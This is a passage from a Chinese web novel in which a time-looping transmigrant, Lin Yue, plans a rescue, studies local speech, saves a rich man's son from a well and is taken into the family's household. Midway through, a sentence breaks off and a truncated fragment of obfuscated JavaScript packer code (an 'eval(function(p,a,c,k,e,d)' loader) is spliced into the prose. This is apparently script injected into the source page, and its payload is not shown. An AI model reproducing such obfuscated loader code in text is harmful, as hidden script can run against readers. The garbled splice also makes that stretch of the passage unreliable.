复盘完毕,林越开始清点自己现有的东西。玉坠、关东煮、烤肠——还是老三样。他一件件拿出来又放回去,脑子里飞快盘算着。 玉坠温润的触感让他稍感安心——这大概是唯一能证明他来自另一个世界的东西。关东煮的纸杯已经有些发软,汤汁微微晃动;烤肠的塑料包装在阳光下反着光,显得格格不入。这些东西在现代不过是夜宵,在这里却成了他仅有的“初始物资”。林越苦笑,这开局比那些系统流主角寒酸多了,人家至少有个面板,他连个新手指导都没有,全靠自己摸索。 他将玉坠举到眼前,对着阳光仔细观察。岫玉材质,机器雕刻的平安扣,工艺粗糙,放在现代地摊上顶多卖三十块。但在这个世界,玉石本身就具有价值,何况是这样规整的圆形——或许能被当作某种护身符或信物。关键在于如何包装它的来历。 关东煮和烤肠必须在黄壤屯外吃掉。现代包装的食物出现在这个时代,被任何人看到都是天大的麻烦。身上的短袖T恤、牛仔裤和运动鞋也得处理掉,要么藏在破庙深处,要么想办法烧掉。得尽快弄一套当地的粗布麻衣,彻底融入环境。 火折子和食盐还是要想办法换。玉坠依旧是唯一的筹码,但还是要交易给富户,让其给商人带去清水镇,才能确保玉坠最终能流到龙语少女手中。只有这样,才能在她遇到困难时及时出现,建立起真正的联系。 林越在沙地上重新梳理时间线,手指在沙土上划出清晰的轨迹。 第一次轮回,第一天——我穿越到沙漠,抵达黄壤屯,夜宿破庙。 第二天——在黄壤屯观察学习语言,了解风俗,获悉集市规律:逢双日开张。 第三天(双日)——清晨前往集市,因发音错误被当作北狄奸细抓获,遭严刑拷打,最终死于乱葬岗。 他停顿了一下,在“第三天”下面画了一条横线。 第二次轮回,重生后第四天前往清水镇,打零工时目睹龙语少女被押送。 “这说明……”林越的手指在“第四天”三个字上点了点,“她在这一天之前就已经被抓了。但具体是哪一天?” 他闭上眼睛,努力回忆第二次轮回中的细节。当时他刚到清水镇,在酒肆后巷劈柴,听见外面有动静,就躲在门后偷看。几个玄铁甲护卫押着一个五花大绑的少女走过,那少女脖子上挂着的,正是他的平安扣玉坠。 “押送……说明她已经被审判过了。审判需要时间,抓捕需要时间,调查也需要时间。”林越在沙地上写下推算过程,“假设她是在清水镇被抓的,那么从被抓到审判,再到押送去行刑,至少需要1-2天?” 他重新整理思路,以本次轮回(第四次轮回)为基准,将时间线对齐。 “本次轮回,我重生在黄壤屯外沙漠,这是第一次轮回的第一天。那么,第二次轮回的第三天我放弃了去集市,转而出发去清水镇,抵达后找了酒肆砍柴,第二天看到少女被压送,第三次轮回是从清水镇外面开始,也就是第一次轮回的第三天傍晚,在牢中知道少女的事情,我被关是少女晒刑第三天,现在第四次轮回重新回到了第一次轮回的第一天,所以对应的是……”他在沙地上画了一个时间轴: 第一次轮回:第1天(穿越)→第2天→第3天(死亡) (第二次轮回变为出发去清水镇) 第二次轮回:第4天(少女被押送执行晒刑,自己被抓)→第5天(死亡)(第三次轮回时被抓) 第三次轮回:第6天(在牢中交谈,少女晒刑第三天,没动静了)→第7天(死亡) “那么,龙语少女在我刚到清水镇的第一天就被押送,说明她至少在……”林越的手指在时间轴上移动,“之前就已经被抓了。也就是说,在第一次轮回的第三天或更早。” 他深吸一口气,意识到问题的紧迫性。 “按照之前牢中中年汉子的说法,‘晒刑’到了第三天就很危急了,所以龙语少女必须在‘晒刑’的第三天或之前获救——也就是在第6天结束前。 ” 【而今天,是第1天。】 林越在沙地上写下清晰的结论: 【倒计时:6天。】 必须在第六天结束前,赶到清水镇,找到龙语少女,并设法救她出来。 他盯着那个“6”字,感觉手腕上的黑痕似乎又增长了一点点。 想到这里,林越的动作忽然顿住了。 不对。 他慢慢坐下来,背靠沙丘,手指无意识地摩挲着腕间的黑痕。不是行动计划有问题,是他自己有问题。 从什么时候开始的?从第一次死亡开始?不,更早。从穿越那一瞬间——加班后拖着疲惫身体走出便利店,拎着关东煮和烤肠,下一秒就站在了这片沙漠里。那种被突兀拐卖到异世界的感觉,那种从熟悉日常被生生撕扯出来的断裂感,从一开始就种下了不安的种子,即便用一次次的吐槽和苦中作乐都无法掩盖。 然后是三次轮回。 第一次,狱中酷刑,断骨之痛。第二次,杖毙,皮开肉绽。第三次,斩首,刀锋落下那一瞬间的冰凉触感。每一次死亡都真实得刻骨铭心,每一次重生带来的不是希望,而是更深层的疲惫和……恐惧。 他在怕什么?不是怕死——反正能重生。是怕这种无休止的重复,怕这种永远在生死线上挣扎的状态,怕那种不管怎么努力都可能因为一个口误、一个眼神、一个无心之举就前功尽弃的荒诞感。 情绪不对,他清晰地意识到,状态越来越差。 这不是战斗疲劳症,这是存在危机。连续经历死亡和重生后,人的情绪会被磨损,判断力会下降,冲动会取代理性。第二次轮回里,他还能在绝望中冷静分析,第三次就开始冲动行事了。现在呢?复盘计划时,脑海里总有个声音在说:“反正会死,反正会重来。” 这声音很轻,但很致命。 林越想起以前看过的一些心理学文章——关于创伤后应激障碍,关于情绪调节。他不是心理医生,但现代人多少接触过这些概念。认知行为疗法:改变想法就能改变情绪。他需要给自己的经历重新“编码”。 “我不是被动承受的受害者,”他低声自语,“我是主动探索的冒险者。每一次死亡不是失败,是数据收集。每一次重生不是惩罚,是迭代机会。” 这个角度让他感觉好多了。程序员思维再次发挥作用——把生死轮回看作一个bug频出的系统,而他是那个负责debug的程序员。虽然这个系统有点过于硬核,动不动就删档重来。 林越闭上眼,深深吸气。沙漠的热风灌进肺里,带着沙土的颗粒感。他需要调整,不是战术调整,是心理调整。否则就算计划再完美,执行的时候也会出岔子。 怎么调整? 他睁开眼睛,看向远处的地平线。黄壤屯的轮廓在热浪中微微扭曲。劫后余生的喜悦——这是最现成的情绪资源。死里逃生的人会笑,会庆幸,会感受到活着的强烈实感。那就从这里开始。 他站起来,拍了拍身上的沙尘。脸上慢慢露出一个笑容——不是苦笑,不是自嘲,是真正的、发自内心的笑。阳光刺眼,但他迎着光抬起头。 “选择。”他对自己说,“选择沉浸在这种喜悦里。把死亡的记忆压下去,把疲惫藏起来,让劫后余生的感觉占据主导。这不是逃避,是战术。情绪管理也是生存的一部分。” 这个决定做出来后,心里某个紧绷的地方忽然松动了。他选择沉浸在劫后余生的喜悦中。 他脱掉上衣,赤膊站在烈日下,让阳光灼烤着皮肤。汗水顺着脊背滑落,带来一种奇异的畅快感。他深吸一口气,然后缓缓呼出,仿佛要将体内所有的恐惧和压抑都呼出去。 “这次……不能再犯错了。”他对自己说,“红痕用完了,没有重来的机会了。这次,必须一次成功。” 他重新穿上衣服,拍了拍身上的沙尘。脸上的笑容依然灿烂,但眼神中多了一份坚定。他迈开脚步,朝着黄壤屯的方向走去。步伐轻快而坚定,与之前那种小心翼翼、如履薄冰的步伐完全不同。 阳光照在他的背上,投下长长的影子。那影子在沙地上跳跃着,仿佛也在为他的重生而欢欣鼓舞。 【这次,不论是什么挑战,我都会赢。】 黄壤屯外三里地,有一座废弃的土地庙。 庙很小,统共两间房,正殿的泥塑神像半边身子都塌了,露出里面的稻草和木架。屋顶的瓦片缺了大半,抬头就能看见星空。但胜在偏僻,离官道远,平时没什么人来。林越在庙后头的荒草丛里发现了一口枯井,井沿的青石板上还刻着些模糊的字迹,勉强能辨认出“风调雨顺”四个字。 他把破庙简单收拾了一下。正殿漏雨太厉害,就选了侧边那间勉强还有屋顶的厢房。墙角堆着些干稻草、火石碎屑和一个破碗,大概是之前流民留下的。他把稻草铺开,又去外面捡了些干树枝,在墙角生了一小堆火。火光映亮了斑驳的墙壁,上面还有些不知哪个年月留下的涂鸦——歪歪扭扭的人形,像是孩童的随手画。 收拾的时候,林越发现墙角有几块松动的砖石。他小心撬开,发现里面是个不大的空洞,应该是当初建庙时留下的。这个发现让他心中一喜——正好可以用来藏匿那些绝对不能见光的现代物品。他把短袖T恤、牛仔裤、运动鞋用破布仔细包好,塞进空洞深处,又将砖石原样垒回去,还在表面撒了些尘土做旧。 做完这些,他才稍微松了口气。现代衣物是他与原来世界最后的物理联系,但在这个世界,它们和定时炸弹没什么区别。烧掉是最保险的,但他暂时还下不了手——就像很多人明明知道旧手机该扔了,却还是留在抽屉里一样。 当晚,他就着火光吃掉了最后一根烤肠。现代包装的塑料膜在火光下泛着不合时宜的光泽,他盯着看了片刻,然后用力撕开叠好,又把关东煮倒在破碗里吃喝掉。他吃得很慢,每一口都嚼得很仔细,仿佛在进行某种仪式。 黎明前的黑暗最是深沉,林越躺在破庙的干草堆上,睁眼看着屋顶的破洞。星星已经隐去,天空泛出鱼肚白。他没有睡,脑子里一遍遍过着计划。 第一天,要做的有三件事:一,系统性地修正语言认知;二,获取食水;三,打听消息。 他翻身坐起,从怀里掏出那本“笔记本”——其实就是几块从破庙墙上撕下来的黄纸,用烧焦的木炭当笔。上面密密麻麻记着前三次轮回中接触到的词汇、发音、语法错误点。 “发音是最大的坑。”他低声自语,手指点在第一行,“‘多钱’是北狄口音,要说‘价几何’。” “‘饿’字千万不能说成‘龙’。” “声调……”他皱起眉,这比词汇更棘手。大炎官话有六七个声调,现代普通话只有四个,很多字在他听来差异极小,但对本地人而言可能天差地别。第三次轮回中,他就因为一个声调错误被当众指正,虽然没引发大麻烦,但也暴露了“口音不正”的问题。 天亮了。 林越换上再次偷来的粗布麻衣——洗了好几遍,但还有股淡淡的霉味。他把现代衣物——短袖T恤、牛仔裤、运动鞋——用破布包好,塞进土地庙神像背后的空洞里。关东煮和烤肠的纸杯和塑料包装袋则被他塞进墙缝深处。 这些东西,等时机成熟再处理掉。 他走出破庙,迎着晨光朝黄壤屯走去。 黄壤屯比清水镇小得多,更像一个大一点的村落。土坯房子沿着一条主街排列,街面是夯实的黄土,车辙印深深浅浅。早起的人已经忙碌起来,妇人提着木桶去井边打水,汉子扛着农具往田里去,几个孩童在街角追逐嬉戏。 林越没有贸然开口。 他在街边找了个不起眼的角落蹲下,装成等待活计的流民模样,耳朵却竖得老高,捕捉着每一句对话。 “张嫂,今儿个井水还浑么?” “浑着呢,昨儿夜里下过雨,得澄澄才能用。” “李二哥,你家那亩麦子该浇了吧?” “浇了浇了,王千户家的水渠先给用,咱得排队。” 林越在黄纸上飞快记录:井水、澄、亩、浇、水渠、排队。这些日常对话透露的信息远比表面多。从“王千户家的水渠先给用”可以推断:第一,王千户在当地拥有特权,连灌溉用水都有优先权;第二,这种特权被普通百姓接受为常态,说明等级森严;第三,“排队”意味着资源分配有明确规则,这可能成为他日后可以利用的点。 林越在“王千户”旁边标注了“军事权威、水资源控制”,在“排队”后面写了“潜在冲突点”。现代项目管理经验告诉他,任何系统都有瓶颈和矛盾,找到它们就等于找到了杠杆。 他发现黄壤屯的口音确实比清水镇更粗犷,语速更快,很多词的尾音会吞掉。比如“浇水”说快了就成“浇儿”,“排队”说成“排儿”。还有不少俚语,他得结合场景才能猜出意思。 “嘿,那愣子又在那儿发呆。” “甭理他,许是北边逃来的,脑子不好使。” 林越心里一动,面上却不动声色。他知道“愣子”是傻子、呆子的意思,“甭”是不用的合音,“许是”大概是。这些词汇在前几次轮回中都接触过,但这次他要系统记录。 一上午过去,他记了满满两页纸。 中午时分,肚子咕咕叫起来。林越收起纸笔,开始寻找打零工的机会。他走到屯子西头一家磨坊前,看见老板正费力地往磨盘上倒麦子。 “掌柜的,可需帮手?”他开口,声音刻意压低,带着点沙哑——装成长途跋涉后疲惫的样子。 老板抬头打量他:“哪儿来的?” “北边逃来的。”林越按照想好的说辞,“家里遭了抢,想来讨口饭吃。” “会推磨么?” “会。” “推一天,管两顿稀的,外加三个铜板。”老板指着旁边的石磨,“从午时推到申时,中间歇一刻钟。” “成。” 林越挽起袖子,开始推磨。石磨很沉,推起来费劲,但他需要这份工作——不仅为了食水,更为了接触本地人。石磨的碾盘是厚重的青石,推起来需要全身发力。林越调整呼吸,用腰腿的力量带动手臂,避免单纯依靠上肢——这是他在健身房学到的技巧,虽然那里的器械和这原始的石磨天差地别。每推一圈,麦粒在磨盘间发出细微的碎裂声,面粉从缝隙中簌簌落下。单调的重复动作让思维可以自由发散,他的耳朵像雷达一样捕捉着磨坊里的每一句对话。 磨坊里陆续有人来磨面,多是妇人。她们一边等一边闲聊,话题从家长里短到屯里新鲜事。 “听说了没?王千户昨儿个又去刘员外家吃酒了。” “可不,刘员外家的小子不是刚中了童生么,千户大人去道贺。” “啧啧,刘员外这面子够大的。” “那可不,人家家里有矿……不是,有盐引子,跟千户大人那是老交情了。” 林越手上不停,耳朵却捕捉着关键信息:王千户(驻兵千户)、刘员外(富户)、童生( ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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他没有立刻回破庙,而是在屯子里转悠,观察地形,记下重要地标:千户所(屯子北头,有士兵把守)、刘员外家(屯子中心,青砖瓦房,门口有石狮子)、水井(三处,分别在东、西、南街)、集市空地(逢双日开市)。 观察这些地标时,林越采用了系统的方法。他在黄纸上画了简单的屯子地图,标注每个地点的相对位置和特征。刘员外家的青砖瓦房在土坯房中格外显眼,说明其财富和地位;门口的石狮子虽小,但雕刻精细,是身份的象征。千户所则更注重实用——围墙高大,门口有岗哨,士兵的装备看起来保养得不错,说明王千户治军严谨。 三口水井的位置分布也很有意思:东街井靠近刘员外家,西街井靠近磨坊,南街井靠近普通民居。水资源分配往往是社会结构的缩影,这一点在古代尤其明显。 回到破庙时,天已经黑了。 林越生起火,借着火光整理今天的收获。黄纸上记满了词汇、发音、俚语、礼仪禁忌,还有人物关系图。 他在“王千户”和“刘员外”之间画了条双线,标注“密切往来”。又在“刘员外”旁边写了“盐引子”、“童生儿子”、“青砖瓦房”。 玉坠要换给刘员外,但不能像上次那样简单交易。他盘算着,必须借机搭上关系,最好能见到王千户。 手腕上的黑痕隐隐发痒。林越低头看去,那道痕迹似乎比昨天长了一点点——很细微,但他能感觉到。 倒计时开始了。 他深吸一口气,把杂念压下,开始复习今天的语言记录。每个词的发音,每个句子的语调,每个礼仪细节,都在心里过了好几遍。 这一夜,他梦见了清水镇,梦见龙语少女被绑在木架上,烈日灼烤着她的皮肤。她脖子上挂着的,正是他的平安扣玉坠。 第二天清晨,林越早早醒来。 他用井水洗了把脸,把粗布衣服整理整齐,又把那枚平安扣玉坠拿出来,对着晨光仔细端详。玉是普通的岫玉,机器雕刻的纹路整齐但呆板,在现代也就是几十块钱的饰品。但在这个世界,它或许能换来更多。 今天的目标:去刘员外家用玉坠换取物资,试探接触,争取搭上王千户的关系。 他把玉坠贴身放好,怀里揣着昨天剩的杂粮饼,走出了破庙。 黄壤屯的早晨比昨天更热闹些。今天逢单,不是集日,但街上的人也不少。林越特意绕道从刘员外家门前经过,看见大门紧闭,门口的家丁正在清扫台阶。 他没有贸然上前,而是继续往前走,打算先观察一下周围环境。 屯子东头有一片小树林,林边有几口灌溉用的水井。几个孩童正在井边玩耍,大约是七八岁的年纪,你追我赶,笑声清脆。 林越看了一眼,没太在意,继续往前走。 他需要想好说辞。直接说“我想用玉坠换东西”太生硬,最好能有个由头。比如……假装是祖传之物,因逃跑不得已变卖?或者说是捡到的,想找失主? 正思考间,身后突然传来一声尖叫。 “救命啊!小少爷掉井里了!” 林越猛地回头。 只见刚才那几个孩童围在一口井边,慌作一团。一个家仆模样的中年人正趴在井口,焦急地朝下张望,一边大喊:“快来人啊!小少爷掉下去了!” 林越想都没想,拔腿就朝井边冲去。 井口不大,直径约三尺,井壁上长满青苔。林越趴在井沿往下看,只见一个约莫五六岁的男孩正在水里扑腾,水不算深,但孩子显然不会游泳,呛了好几口水。 “让开!”林越对那家仆说,同时快速脱掉外衣。 “尔、你会尔么?”家仆慌得话都说不利索。 “会一点!”林越其实是旱鸭子,但现代都市人多少学过点急救知识,且水不深,即便算上光线误导问题,应该也没不到脖子。他观察井壁,发现有几处凸起的石头可以落脚。 不能直接跳,井口太小,容易撞到。他冷静分析,得爬下去。 林越抓住井沿,小心翼翼地把脚探下去,踩在第一块凸起的石头上。石头很滑,他差点失足,赶紧稳住身体,继续往下。 井很深,大约三丈。越往下光线越暗,井水冰凉的气息扑面而来。男孩的扑腾声越来越微弱。 林越心急如焚,但动作不敢太快——万一自己也掉下去,摔着磕着了,两个人都得完蛋。 终于,他的脚触到了水面。 “孩子,别怕!”他朝男孩喊,“抓住我的手!” 男孩已经呛得神志不清,双手胡乱挥舞。林越看准时机,一把抓住男孩的衣领,另一只手紧紧扒住井壁的石头。 上去比下来更难。 他深吸一口气,开始往上爬。一手抓着男孩,一手扒着井壁,全靠脚上的力气支撑。井壁湿滑,每爬一步都极其艰难。男孩虽然不重,但在这种情况下,任何额外的重量都是巨大的负担。 爬到一半,林越的手开始发抖,脚底的石头突然松动。 “啊!”他脚下一滑,整个人往下坠了半尺,幸好另一只脚及时踩住另一块石头。 井口传来家仆的喊声:“坚持住!我去找绳子!” 等绳子来就晚了。林越咬牙,继续往上爬。 汗水混着井水流进眼睛,火辣辣地疼。他的手臂肌肉在尖叫,后背不存在的伤口(前几次轮回留下的心理记忆)仿佛也在隐隐作痛。 一步,两步,三步…… 终于,他看到了井口的光。 几双手伸下来,抓住了他的胳膊,把他和男孩一起拉了上去。 林越瘫倒在井边,大口喘气。男孩躺在一旁,脸色青紫,已经没了动静。 10. 好人好报 “小少爷!小少爷!”家仆扑上去,摇着男孩的身体,声音带着哭腔。 林越挣扎着爬起来:“别摇!让他平躺!” 他按照现代急救知识检查男孩口鼻——没有异物,但呼吸已停。林越跪在男孩身边,双手交叠按压胸口。一下,两下,三下……按压三十次后,他捏住男孩鼻子,口对口吹气。 周围围了一圈人,指指点点。林越顾不上,全部注意力都在男孩身上。 一次,两次,三次…… “咳!”男孩突然吐出水,接着剧烈咳嗽。 “活了!活了!”家仆喜极而泣。 林越松了口气,瘫坐在地,这才感到浑身酸痛,手上全是擦伤。 男孩睁开眼,迷茫地看着四周,然后“哇”地哭出来。 “小少爷,您可吓死老奴了!”家仆抱住男孩,又朝林越连连磕头,“恩公!恩公救命之恩,刘家没齿难忘!” 刘家?林越心里一动:“这孩子是……” “这是刘员外家的三少爷,刘小宝。”家仆抹泪,“今儿个偷偷溜出来玩,没想到……唉,要不是恩公,老奴这条命也赔不起!” 正说着,远处传来急促脚步声。一群人匆匆赶来,为首的是个四十多岁的中年男子,穿着绸缎长衫,面色焦急。身后跟着家丁和一个哭成泪人的妇人。 “小宝!我的小宝!”妇人扑上来抱住男孩。 “老爷,夫人,就是这位恩公救了小少爷。”家仆连忙介绍。 刘员外看向林越,目光先是审视,随即转为感激。他快步上前拱手行礼:“在下刘文渊,多谢壮士救犬子性命!” 林越连忙起身还礼:“刘员外客气了,举手之劳。” “这岂是举手之劳?”刘员外摇头,“井深三丈,常人避之不及,壮士却肯冒险相救,此等恩情,刘某必当重谢!”他打量林越,见他衣衫褴褛,手上带伤,便道:“壮士若是不弃,请到寒舍一叙,容刘某略备薄酒,以表谢意。” 林越心中暗喜,这正合他意。但面上谦逊:“小人身份卑微,不敢叨扰。” “救命恩人,何来卑微之说?”刘员外正色道,“请!” 林越不再推辞,跟着刘员外一行人朝刘府走去。路上,他悄悄摸了摸怀里的玉坠。计划有变,但这或许是更好的开始。 刘府果然气派。青砖高墙,朱漆大门,门口石狮子威武庄严。进门影壁,转过是前院,青石铺地,两旁花草。正厅宽敞明亮,家具都是上好的红木。之前轮回用玉坠兑换物资只跟门房打交道,没想到里面如此富裕,和黄壤屯格格不入。 刘员外让夫人带小宝去换衣服,自己请林越在厅中坐下,命丫鬟上茶。 “还未请教壮士高姓大名?”刘员外问。 “小人姓林,单名一个越字。”林越谨慎回答,“北边人,因家乡遭抢,逃至此地。” “林壮士。”刘员外点头,“看壮士言行,不似普通流民。” 林越心里一紧,但面上不动声色:“员外过奖了,小人只是读过几年书,识得几个字。” “哦?读过书?”刘员外更感兴趣了,“不知读的什么书?” “四书五经略通一二,但未考取功名。”林越半真半假地说——他确实读过,不过是现代义务教育。 刘员外沉吟片刻,道:“实不相瞒,刘某有一子,今年刚中童生,正欲寻一位先生教导。不知林壮士可愿暂留府中,一来养伤,二来……若有余力,指点犬子一二?” 林越愣住了。这完全出乎预料。他原计划只是用玉坠换点物资,顺便搭上关系,没想到直接获得了留在刘府的机会。这简直是天赐良机。 他压下激动,恭敬道:“承蒙员外看得起,小人自当尽力。只是……” “但说无妨。” “小人初到此地,对本地风俗礼法尚不熟悉,恐有不当之处。”林越顺势提出,“若员外不嫌,可否请府上懂礼之人指点一二?” 刘员外笑了:“这个简单。府中老管家在黄壤屯生活了五十年,对本地的俚语、礼数了如指掌。林壮士若有疑问,随时可问他。” “多谢员外。”林越起身行礼。 “不必多礼。”刘员外摆手,“林壮士救了小宝,就是刘家的恩人。往后在府中,不必以‘小人’自称,称‘我’即可。” 林越心中暗喜。这意味着他在刘府的地位会比普通门客更高。 正说着,丫鬟引着一个少年走了进来。少年约莫十三四岁,穿着儒衫,面容清秀,眼神灵动。 “父亲。”少年行礼。 “文轩,过来见过林先生。”刘员外介绍,“这位是林越林先生,从今日起暂住府中,你有学业上的问题,可向先生请教。” 刘文轩好奇地打量林越,见他衣衫破旧但气度从容,便恭敬行礼:“学生刘文轩,见过林先生。” 林越还礼:“不敢当‘先生’之称,互相学习。” 刘员外显然对林越的谦逊很满意,又吩咐管家为林越准备房间、衣物、洗漱用具。一切安排妥当后,他才道:“林壮士今日劳累,先去歇息吧。晚膳时分,刘某再设宴为壮士接风洗尘。” 林越被管家带到西厢房的一间客房。房间不大,但整洁干净,有床、桌椅、衣柜,还有一扇窗对着后院的花园。 管家是个六十多岁的老者,姓周,说话慢条斯理,但条理清晰。他帮林越铺好床铺,又拿来一套干净的粗布衣服。 “林先生先换衣服,我去打热水来。”周管家说。 “有劳周管家。”林越道谢。 待周管家离开,林越关上门,背靠着门板,长长舒了一口气。竟然这么顺利? 他走到床边坐下,掏出那枚玉坠。玉坠在透过窗棂的阳光照射下,泛着温润光泽。玉坠还没用上,就已经进了刘府。这算是好人好报? 他想起第三次轮回中,因为偷包子而被斩首的结局。那时的他,为了生存不择手段,结果却适得其反。而这一次,他救人于危难,反而获得了更好的机会。或许在这个世界,道德和善意并非无用。 但随即他又警惕起来。不能放松。刘员外虽然表面客气,但商人之家,最重利益。他留我,一是报恩,二是看中我能教书。如果我表现不出价值,迟早会被冷落。而且王千户这条线还没搭上。 林越把玉坠重新收好,开始思考下一步计划:利用在刘府的机会系统学习本地语言和礼法;赢得刘员外信任;寻找机会接触王千户;打听龙语的事,但要旁敲侧击。 正想着,门外传来敲门声。“林先生,热水来了。” 林越开门,周管家提着一桶热水进来,还有木盆和布巾。 “林先生先洗漱,晚膳时我再来请。”周管家放下东西,又补充道,“对了,老爷说,林先生若有什么需要,尽管吩咐。” “多谢。”林越顿了顿,试探地问,“周管家,我在府中,该注意哪些礼数?” 周管家笑了:“林先生客气了。府中规矩不多,只几条:见老爷夫人要行礼,用膳时等主人动筷再动,夜间不要随意走动。至于言语……先生是读书人,自然懂礼,不必老奴多言。” 林越点头,又道:“我初来乍到,身无长物,仅有一玉坠可以置换,能否劳烦管家帮我换些换洗衣物、火折子、食盐和干粮?” 周管家听后连忙摆手,“使不得使不得!您是贵客,主家要骂惨我!” 林越再三说明自己救人归救人,日常交易归交易,不可混为一谈。好说歹说才劝服周管家收下玉坠,但周管家还是每样东西都拿了三份来,还添了个钱袋子表示是刘员外送的,玉坠已经交易给正要离开去清水镇的商队,换了物资后多余的钱财都放进去了。 林越知道这其实是变相送钱感谢,推脱不得,就收下了。 周管家离开后,林越脱掉脏衣服,用热水擦洗身体。机会来了,而且比预想的更好。 他换上干净的粗布衣服,走到铜镜前。头发凌乱,脸上还有灰尘,但眼神清澈,透着一股坚定。这一次,一定要抓住机会。不仅要救龙语少女,还要解开这个世界的秘密,找到回家的路。 他抬起手腕,那道黑痕在皮肤上蜿蜒,像一道无声的倒计时。时间不多了。但至少,现在有了一个好的开始。 林越找了个借口出门,说是想熟悉熟悉黄壤屯的环境。周管家没多问,只嘱咐他晚饭前回来。 林越揣着刘员外给的钱袋子——就是周管家送来的那个——先去了趟市集。边境小镇的集市简陋得很,几个摊子零零散散摆着。他在一个肉摊前停下,花六文钱买了两根带了一点肉的骨头。骨头上的肉不多,但熬过汤的骨头上还沾着些油星,闻着挺香。 “客官,喂狗啊?”摊主是个五十来岁的汉子,一边剁肉一边问。 “嗯。”林越点头。 “那您可买对了,狗就爱啃这玩意儿。”摊主麻利地用草绳把骨头捆好递过来。 林越拎着骨头,凭着记忆七拐八绕,找到了那片熟悉的巷子。第一次轮回时,他就是在这里被瘦狗追着满街跑。巷子很窄,墙皮斑驳,地上散落着垃圾和干草。他左右张望,没看见狗的踪影。 “嘬嘬嘬——”林越试着唤了几声。 没反应。 他想了想,从怀里摸出早上省下来的半个馒头,掰碎了撒在地上。然后退到墙角,耐心等着。 约莫一炷香后,巷子尽头探出一个瘦骨嶙峋的狗头。是它——黄毛杂色,耳朵耷拉着,肋骨一根根清晰可见。瘦狗警惕地嗅着空气,眼睛盯着地上的馒头碎屑,又看看林越,似乎在权衡风险。 林越蹲下身,把骨头往前推了推:“来,给你带的。” 瘦狗犹豫了一会儿,终究抵不住食物的诱惑,慢慢蹭过来。它先舔了舔馒头屑,然后叼起一根骨头,转身跑到几步外,趴下开始啃。啃得津津有味,尾巴不自觉地摇了起来。 林越看着它,心里有些感慨。这狗子瘦得可怜,但生命力顽强,在这边境小镇里挣扎求生,跟自己有点像。他走到瘦狗旁边蹲下,伸手想摸摸它的头,瘦狗立刻警觉地抬头,喉咙里发出低沉的呜呜声。 “行行行,不摸。”林越收回手,轻声说,“谢了啊,哥们儿。虽然你啥都不知道,但第一次……咳,反正谢谢你那两回帮忙。要不是你,我可能连集市都进不去。” 瘦狗听不懂人话,只顾着啃骨头,偶尔抬眼瞥他一下,眼神里透着“这人是不是有病”的意味。 林越笑了。他把另一根骨头也放到地上:“这根也给你,慢慢吃。” 瘦狗这次没躲,任由林越把骨头放在面前。 喂完狗,林越起身往回走。巷口有几个村民聚在井边闲聊,见他从巷子里出来,都投来好奇的目光。其中一个老汉认得他——昨天救刘家小少爷的事已经传开了。 “哎,这不是昨天跳井救人的那位壮士吗?”老汉招呼道。 林越停下脚步,拱手行礼:“老人家好。” 另一个中年妇人插话:“壮士心善啊,救了人。对了,听说刘员外留尔在府上了?” 林越点头:“承蒙刘员外厚爱,暂住几日。” “那可是搭上靠山了!”妇人啧啧道,“刘员外家底厚实着哩,三子一女,个个都是金贵主儿。大儿子继承家业做生意,二儿子读书考了童生,小儿子就是尔救的那个宝哥儿。还有个女娃子,养在深闺里,轻易不见人。” 老汉附和:“是啊,刘员外做盐引生意,家里金山银山堆着。尔救了他儿子,这份恩情够吃一辈子了。说不定还能给尔谋个差事。” 林越心里有数,但面上谦逊:“小子只是做了该做的事,不敢奢求什么。” “该做的事?”老汉摇头,“这年头,肯跳下深井救人的,可不多喽。壮士是好人,好人该有好报。” 又闲扯了几句,林越告辞离开。往回走的路上,他回味着村民的话。刘员外这条线算是搭稳了。接下来要做的,就是巩固这份关系,同时寻找接触王千户的机会。 他摸了摸怀里的钱袋子,又想起那只埋头啃骨头的瘦狗。这世界有时挺奇怪的——你精心策划的布局可能毫无用处,而无意中的善举却可能带来转机。就像第一次轮回,他满脑子想着怎么利用规则、怎么算计,结果死得憋屈;这次顺手救了个孩子,反而打开了局面。 也许,在这个看似残酷的世界里,善意并非毫无价值。 林越加快脚步。夕阳把他的影子拉得很长,投在黄土地上,像一道坚定的印记。 窗外夕阳西下,天色渐暗。刘府开始点亮灯笼,橘黄的光晕透过窗纸,温暖了整间屋子。 晚膳时分,周管家来请。林越整理好衣冠,跟着管家走向正厅。 厅中已经摆好宴席,刘员外和夫人坐在主位,刘文轩坐在一旁。桌上菜肴不算丰盛,但荤素搭配,有鱼有肉。 “林先生请坐。”刘员外示意林越坐下。 林越恭敬行礼,然后入座。 宴席间,刘员外问了林越一些北边的风土人情,林越凭借现代地理知识勉强应付过去。刘文轩则对林越的“学问”很感兴趣,问了些四书五经的问题,林越一一解答。气氛融洽。 宴罢,刘员外让文轩送林越回房。 路上,文轩好奇地问:“林先生,您说您逃荒三个月,路上一定很辛苦吧?” “是啊。”林越感慨,“风餐露宿,有时几天吃不上饭。” “那您一定见过很多有趣的事。”少年眼睛发亮。 林越笑了:“有趣的不多,危险的不少。不过都过去了。” 回到房间,林越关上门,靠在门板上。 第一天:调整语言,打零工,打听消息。完成。 第二天:进入刘府,交易玉坠送去清水镇。超额完成。 接下来,就是巩固地位,学习礼法,接触王千户,找到龙语少女建立联系。 他走到窗边推开窗户。夜空繁星点点,一轮弯月挂在天际。远处黄壤屯的灯火星星点点,更远处是黑暗的荒漠。而在荒漠的那头,是清水镇,是龙语少女,是等待解答的谜题。 林越握紧拳头。这一次,我不会再失败了。 林越躺在床上辗转反侧。尽管身体疲惫,大脑却异常活跃。白天发生的一切像走马灯一样在眼前回放。 太顺利了,顺利得有些不真实。 他翻个身盯着天花板。月光透过窗纸,投下模糊光斑。刘员外留下我,表面是报恩和教书,但真的这么简单吗?一个能在边境做盐引生意的富商,见识过多少人心险恶,怎么会轻易让一个来历不明的流民住进府中?也许他也在试探我。 林越坐起身靠在床头。手腕上的黑痕在月光下显得格外清晰,似乎在缓慢生长,比昨天又长了一小截。时间不等人。 他想起清水镇的龙语少女。如果按照之前的轮回轨迹,再过几天,她就会被县官绑在烈日下曝晒。而自己现在被困在刘府,虽然有了落脚点,但距离目标反而远了。得想个办法,既能留在刘府巩固地位,又能尽快接触王千户,获得去清水镇的机会。 窗外传来打更声。“天干物燥,小心火烛——”已经三更了。 